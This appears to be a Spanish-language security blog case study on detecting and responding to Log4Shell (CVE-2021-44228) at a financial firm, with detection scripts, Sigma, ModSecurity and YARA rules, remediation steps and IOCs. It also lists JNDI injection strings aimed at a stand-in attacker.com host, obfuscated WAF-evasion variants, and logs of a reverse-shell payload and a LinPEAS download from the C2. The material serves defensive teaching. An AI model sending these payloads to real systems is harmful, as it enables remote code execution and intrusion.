IntermedioLog4ShellCVE-2021-44228Log4jJNDIvulnerabilitySIEMWAFincident responseMITRE ATT&CK

Log4Shell (CVE-2021-44228): Detección y Respuesta a la Vulnerabilidad del Siglo

Guía completa de detección y respuesta ante Log4Shell (CVE-2021-44228). Cómo funciona la explotación JNDI lookup, detección con WAF, SIEM y escaneo de logs, parcheado, IOCs y estrategias de hunting a largo plazo con MITRE ATT&CK.

MalwareIntel Research··11 min lectura
Serie: Casos de Uso — Parte 20

La tormenta perfecta

El 9 de diciembre de 2021, el mundo de la ciberseguridad se detuvo. Una vulnerabilidad en Apache Log4j 2, una librería de logging tan ubicua que la mayoría de desarrolladores Java ni siquiera sabían que la usaban, permitía ejecución remota de código con un simple string. Sin autenticación. Sin interacción del usuario. En cualquier campo que la aplicación loggeara.

Log4Shell (CVE-2021-44228) recibió un CVSS de 10.0, la puntuación máxima. Años después, sigue siendo una de las vulnerabilidades más explotadas activamente según CISA KEV, y organizaciones de todo el mundo continúan descubriendo instancias vulnerables en sus infraestructuras.

En este caso de uso, recorremos la detección y respuesta a un compromiso mediante Log4Shell en una organización con múltiples aplicaciones Java, documentando las técnicas que funcionaron y las que no.

Cómo funciona Log4Shell

El mecanismo: JNDI Lookup

Log4j 2 incluye una funcionalidad llamada Message Lookups que permite interpolar variables dentro de los mensajes de log. Entre los lookups soportados está JNDI (Java Naming and Directory Interface), que permite a la aplicación consultar servicios de directorio remotos.

Cuando Log4j procesa un mensaje que contiene ${jndi:ldap://servidor-atacante/exploit}, en lugar de loggearlo como texto plano:

  1. Interpreta la expresión ${jndi:...} como un lookup
  2. Realiza una conexión LDAP al servidor especificado
  3. El servidor LDAP responde con una referencia a una clase Java remota
  4. La JVM descarga y ejecuta la clase Java automáticamente

El resultado: ejecución de código arbitrario controlado por el atacante, en el contexto de la aplicación Java.

Superficie de ataque

Cualquier dato que la aplicación loggee con Log4j 2 puede ser un vector de ataque:

# Headers HTTP
User-Agent: ${jndi:ldap://attacker.com/exploit}
X-Forwarded-For: ${jndi:ldap://attacker.com/exploit}
Referer: ${jndi:ldap://attacker.com/exploit}

# Campos de formulario
username: ${jndi:ldap://attacker.com/exploit}
search: ${jndi:ldap://attacker.com/exploit}

# Cualquier input que se loggee
API parameters, email addresses, file names...

Técnicas de evasión de WAF

Los atacantes desarrollaron rápidamente técnicas para evadir las reglas de WAF que buscaban el patrón ${jndi::

# Anidamiento de lookups
${${lower:j}ndi:${lower:l}dap://attacker.com/x}
${${upper:j}ndi:${upper:l}dap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/x}

# Codificación
${jndi:ldap://attacker.com/x}  → %24%7Bjndi...
${j${::-n}di:ldap://attacker.com/x}

# Protocolos alternativos
${jndi:rmi://attacker.com/x}
${jndi:dns://attacker.com/x}
${jndi:iiop://attacker.com/x}

# Combinaciones
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/x}

Contexto del incidente

Organización: empresa de servicios financieros con infraestructura Java significativa.

Infraestructura afectada:

  • 15 aplicaciones Java internas y externas
  • Apache Solr 8.11 (motor de búsqueda interno)
  • Apache Struts 2.5 (portal de clientes)
  • VMware vCenter 7.0 (gestión de virtualización)
  • Elasticsearch 7.16 (logging centralizado, irónicamente)
  • Múltiples microservicios Spring Boot

Timeline:

  • 10 dic 2021, 08:00 UTC: El equipo de seguridad recibe la alerta de la comunidad sobre CVE-2021-44228
  • 10 dic, 10:00: Comienza el inventario de aplicaciones con Log4j
  • 10 dic, 14:00: Se detectan los primeros intentos de explotación en los logs del WAF
  • 10 dic, 18:00: Se confirma compromiso en Apache Solr interno
  • 11 dic, 02:00: Contención del servidor comprometido
  • 12 dic, 00:00: Parcheado de todas las instancias identificadas

Fase 1: Inventario de activos vulnerables

El primer desafío fue identificar qué aplicaciones usaban Log4j 2. La dificultad: Log4j puede estar embebida como dependencia transitiva en docenas de librerías.

Escaneo de ficheros JAR

# Buscar log4j-core en el sistema de ficheros
$ find / -name "log4j-core-*.jar" 2>/dev/null
/opt/solr/server/lib/ext/log4j-core-2.14.1.jar
/opt/struts/lib/log4j-core-2.13.3.jar
/opt/elasticsearch/lib/log4j-core-2.15.0.jar
/var/lib/vmware/log4j-core-2.11.2.jar
/home/deploy/microservices/order-service/lib/log4j-core-2.14.0.jar
[...]

# Buscar dentro de WARs y fat JARs
$ find / -name "*.war" -o -name "*.ear" -o -name "*.jar" 2>/dev/null | \
    while read f; do
      jar tf "$f" 2>/dev/null | grep -q "log4j-core" && echo "$f"
    done

Verificación de versiones vulnerables

AplicaciónVersión Log4jVulnerablePrioridad
Apache Solr 8.112.14.1SiCritica (expuesto)
Apache Struts 2.52.13.3SiCritica (expuesto)
VMware vCenter 7.02.11.2SiAlta (interno)
Elasticsearch 7.162.15.0Parcial (CVE-2021-45046)Alta
Order Service2.14.0SiAlta (interno)
Payment Gateway2.17.0NoBaja

Versiones vulnerables: 2.0-beta9 hasta 2.14.1. La versión 2.15.0 mitigó parcialmente pero seguía vulnerable a CVE-2021-45046. La corrección completa llegó en 2.17.1.

Fase 2: Detección de intentos de explotación

Análisis de logs del WAF

# Buscar patrones de Log4Shell en logs del WAF
$ grep -iE '\$\{jndi:|%24%7Bjndi|%2524%257Bjndi|\$\{.*j.*n.*d.*i' \
    /var/log/modsecurity/audit.log

[10/Dec/2021:14:22:33] "GET / HTTP/1.1" 403
  User-Agent: ${jndi:ldap://45.XX.XX.XX:1389/Basic/Command/Base64/...}

[10/Dec/2021:14:23:01] "GET /search?q=${${lower:j}ndi:${lower:l}dap://callback.attacker.com/x}" 200

[10/Dec/2021:14:45:12] "POST /api/login HTTP/1.1" 200
  Body: username=${jndi:rmi://185.XX.XX.XX:1099/exploit}&password=test

El WAF bloqueó los patrones directos pero dejó pasar las variantes con anidamiento de lookups (${lower:j}).

Escaneo masivo de logs de aplicación

# Script de detección en logs de aplicación
$ cat scan_log4shell.sh
#!/bin/bash
LOG_DIRS="/var/log /opt/*/logs /home/*/logs"
PATTERNS='jndi:|JndiLookup|ldap://|rmi://|dns://|iiop://'

for dir in $LOG_DIRS; do
    find "$dir" -name "*.log" -mtime -7 2>/dev/null | while read logfile; do
        matches=$(grep -ciE "$PATTERNS" "$logfile" 2>/dev/null)
        if [ "$matches" -gt 0 ]; then
            echo "[ALERT] $logfile: $matches matches"
            grep -iE "$PATTERNS" "$logfile" | head -5
        fi
    done
done

$ bash scan_log4shell.sh
[ALERT] /opt/solr/server/logs/solr.log: 47 matches
${jndi:ldap://45.XX.XX.XX:1389/Basic/Command/Base64/d2dldCBodHRw...}
${jndi:ldap://45.XX.XX.XX:1389/Basic/ReverseShell/185.XX.XX.XX/4444}

Detección de callbacks DNS

Una técnica común de los atacantes es usar ${jndi:dns://canary.attacker.com} para verificar si el objetivo es vulnerable antes de explotar. Estos callbacks DNS son detectables:

# Buscar en logs de DNS resolver
$ grep -iE "interact\.sh|dnslog\.cn|ceye\.io|burpcollaborator" \
    /var/log/dns/query.log
10-Dec-2021 14:23:02 query: xyz123.interact.sh A IN
10-Dec-2021 14:24:15 query: abc456.dnslog.cn A IN

Reglas Sigma para SIEM

title: Log4Shell Exploitation Attempt
id: log4j-001
status: stable
description: Detects Log4Shell (CVE-2021-44228) exploitation attempts in web server logs
logsource:
    category: webserver
detection:
    keywords:
        - '${jndi:'
        - '%24%7Bjndi'
        - '${${lower:j}ndi'
        - '${${upper:j}ndi'
        - '${${::-j}${::-n}${::-d}${::-i}'
        - 'JndiLookup'
    condition: keywords
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2021.44228
title: Log4Shell Callback DNS Detection
id: log4j-002
status: experimental
description: Detects DNS queries to known Log4Shell callback services
logsource:
    category: dns
detection:
    selection:
        query|endswith:
            - '.interact.sh'
            - '.dnslog.cn'
            - '.ceye.io'
            - '.burpcollaborator.net'
            - '.oastify.com'
    condition: selection
level: high
tags:
    - attack.initial_access
    - attack.t1190

Fase 3: Confirmación de compromiso

Apache Solr comprometido

El análisis de los logs de Solr reveló explotación exitosa:

2021-12-10 14:23:15 INFO  - Performing JNDI lookup: ldap://45.XX.XX.XX:1389/Basic/ReverseShell/185.XX.XX.XX/4444
2021-12-10 14:23:16 INFO  - Successfully loaded class from ldap://45.XX.XX.XX:1389/...

El atacante obtuvo una reverse shell como usuario solr:

# Evidencia de la reverse shell en netstat
$ netstat -tupn | grep 4444
tcp  0  0 10.0.1.15:48231  185.XX.XX.XX:4444  ESTABLISHED  15623/java

# Procesos sospechosos lanzados por el usuario solr
$ ps aux | grep solr
solr  15623  java -jar /opt/solr/server/start.jar
solr  15891  /bin/bash
solr  15923  python3 -c "import pty;pty.spawn('/bin/bash')"
solr  16012  curl http://185.XX.XX.XX/tools/linpeas.sh

El atacante ejecutó LinPEAS (herramienta de enumeración de privilegios) y estaba en las fases iniciales de post-explotación cuando fue detectado.

Evaluación del impacto

# Revisar qué datos pudo acceder el usuario solr
$ sudo -u solr find / -readable -type f 2>/dev/null | \
    grep -E 'config|password|credential|secret|key' | head -20
/opt/solr/server/solr/configsets/default/conf/solrconfig.xml
/opt/solr/server/etc/jetty-ssl.xml
/etc/solr/solr.in.sh

El atacante tuvo acceso a:

  • Configuración de Solr (incluyendo conexiones a otros servicios)
  • Certificados SSL del servidor Solr
  • Variables de entorno con credenciales de Solr

No se encontró evidencia de escalada de privilegios ni movimiento lateral exitoso.

Fase 4: Remediación

Parcheado de emergencia

Opción 1: Actualizar Log4j (preferida)

# Actualizar a 2.17.1+ en cada aplicación
# Para Solr:
$ cd /opt/solr/server/lib/ext/
$ rm log4j-core-2.14.1.jar log4j-api-2.14.1.jar
$ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.17.1/log4j-core-2.17.1.jar
$ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.17.1/log4j-api-2.17.1.jar
$ sudo systemctl restart solr

Opción 2: Eliminar la clase JndiLookup (mitigación temporal)

# Si no puedes actualizar inmediatamente
$ zip -q -d /opt/solr/server/lib/ext/log4j-core-2.14.1.jar \
    org/apache/logging/log4j/core/lookup/JndiLookup.class
$ sudo systemctl restart solr

Opción 3: Variable de entorno (mitigación parcial, no suficiente sola)

# Solo efectiva en versiones >= 2.10
$ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# O en la JVM:
$ java -Dlog4j2.formatMsgNoLookups=true -jar application.jar

Contención del servidor comprometido

# 1. Matar la reverse shell
$ sudo kill -9 15891 15923 16012

# 2. Bloquear comunicación con el C2
$ sudo iptables -I OUTPUT -d 185.XX.XX.XX -j DROP
$ sudo iptables -I OUTPUT -d 45.XX.XX.XX -j DROP

# 3. Rotar credenciales de Solr
$ sudo /opt/solr/bin/solr auth enable -type basicAuth \
    -credentials admin:$(openssl rand -base64 32)

# 4. Regenerar certificados SSL
$ sudo /opt/solr/server/scripts/regenerate-certs.sh

# 5. Verificar que no hay persistencia
$ sudo crontab -u solr -l
$ find /opt/solr -newer /opt/solr/server/lib/ext/log4j-core-2.14.1.jar \
    -type f 2>/dev/null

Reglas de WAF actualizadas

# ModSecurity rules para Log4Shell con evasiones
SecRule REQUEST_LINE|REQUEST_HEADERS|REQUEST_BODY|ARGS \
    "@rx (?i)\$\{[\s]*(?:(?:\$\{[^}]*\})|[^}])*j[\s]*(?:(?:\$\{[^}]*\})|[^}])*n[\s]*(?:(?:\$\{[^}]*\})|[^}])*d[\s]*(?:(?:\$\{[^}]*\})|[^}])*i[\s]*:" \
    "id:1000,phase:2,deny,status:403,msg:'Log4Shell attempt detected'"

Fase 5: Hunting a largo plazo

YARA para binarios Java

rule Log4j_Vulnerable_Version {
    meta:
        description = "Detects vulnerable versions of Log4j (2.0-beta9 to 2.14.1)"
        author = "MalwareIntel Research"
        severity = "critical"
    strings:
        $class = "JndiLookup.class" ascii
        $ver1 = "log4j-core-2.14" ascii
        $ver2 = "log4j-core-2.13" ascii
        $ver3 = "log4j-core-2.12" ascii
        $ver4 = "log4j-core-2.11" ascii
        $ver5 = "log4j-core-2.10" ascii
        $ver6 = /log4j-core-2\.[0-9]\./ ascii
    condition:
        $class and any of ($ver*)
}

Indicadores de post-explotación

Más allá de la explotación inicial, hay que buscar signos de actividad post-compromiso:

# Buscar herramientas de post-explotación descargadas
$ find / -name "linpeas*" -o -name "pspy*" -o -name "chisel*" \
    -o -name "socat" -newer /var/log/syslog 2>/dev/null

# Buscar reverse shells activas
$ ss -tupn | grep -E '4444|4445|8888|9001|1234'

# Buscar procesos Java con conexiones sospechosas
$ for pid in $(pgrep java); do
    echo "=== PID $pid ==="
    ls -la /proc/$pid/fd 2>/dev/null | grep socket
    cat /proc/$pid/net/tcp 2>/dev/null | awk '{print $2, $3}' | \
        while read local remote; do
            echo "  $local -> $remote"
        done
  done

IOCs del incidente

Infraestructura del atacante

TipoValorContexto
IPv445.XX.XX.XXServidor LDAP malicioso (puerto 1389)
IPv4185.XX.XX.XXServidor C2 para reverse shell
Puerto1389/tcpLDAP malicioso para JNDI lookup
Puerto4444/tcpReverse shell
Dominio*.interact.shCallback de reconocimiento
Dominio*.dnslog.cnCallback DNS

Payloads

TipoValor
JNDI string${jndi:ldap://45.XX.XX.XX:1389/Basic/ReverseShell/...}
JNDI evasion${${lower:j}ndi:${lower:l}dap://...}
Post-exploitLinPEAS descargado desde C2

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Initial AccessExploit Public-Facing ApplicationT1190Log4Shell en Apache Solr
ExecutionExploitation for Client ExecutionT1203JNDI class loading remoto
Persistence(no alcanzada)-Detectado antes de persistencia
DiscoverySystem Information DiscoveryT1082LinPEAS ejecutado
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001Reverse shell sobre TCP
Command and ControlIngress Tool TransferT1105Descarga de LinPEAS desde C2
Resource DevelopmentAcquire Infrastructure: ServerT1583.004Servidor LDAP malicioso

Lecciones aprendidas

1. El inventario de dependencias es seguridad. La mayoría de organizaciones tardaron días en identificar todas las instancias de Log4j porque no tenían SBOM (Software Bill of Materials). Herramientas como Syft, Trivy o Dependency-Track son imprescindibles.

2. Las mitigaciones parciales no son suficientes. La variable LOG4J_FORMAT_MSG_NO_LOOKUPS solo funciona en versiones 2.10+, y CVE-2021-45046 demostró que no era suficiente. La única remediación definitiva es actualizar o eliminar la clase JndiLookup.

3. El WAF es una capa, no la solución. Las técnicas de evasión aparecieron horas después del disclosure. Un WAF bien configurado reduce la exposición pero no elimina la vulnerabilidad.

4. Logging centralizado puede ser vector y detector. En este caso, Elasticsearch era vulnerable y al mismo tiempo era la herramienta de detección. Actualizar la infraestructura de seguridad primero.

5. La respuesta a vulnerabilidades de día cero requiere playbooks preexistentes. Las organizaciones que ya tenían procesos de inventario de activos, comunicación de crisis y parcheado de emergencia respondieron en horas. Las que no, tardaron semanas.

6. Log4Shell sigue activo. Años después del disclosure, CISA sigue reportando explotación activa. Las aplicaciones legacy, los sistemas embebidos y los dispositivos IoT con Java siguen siendo vulnerables.


Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.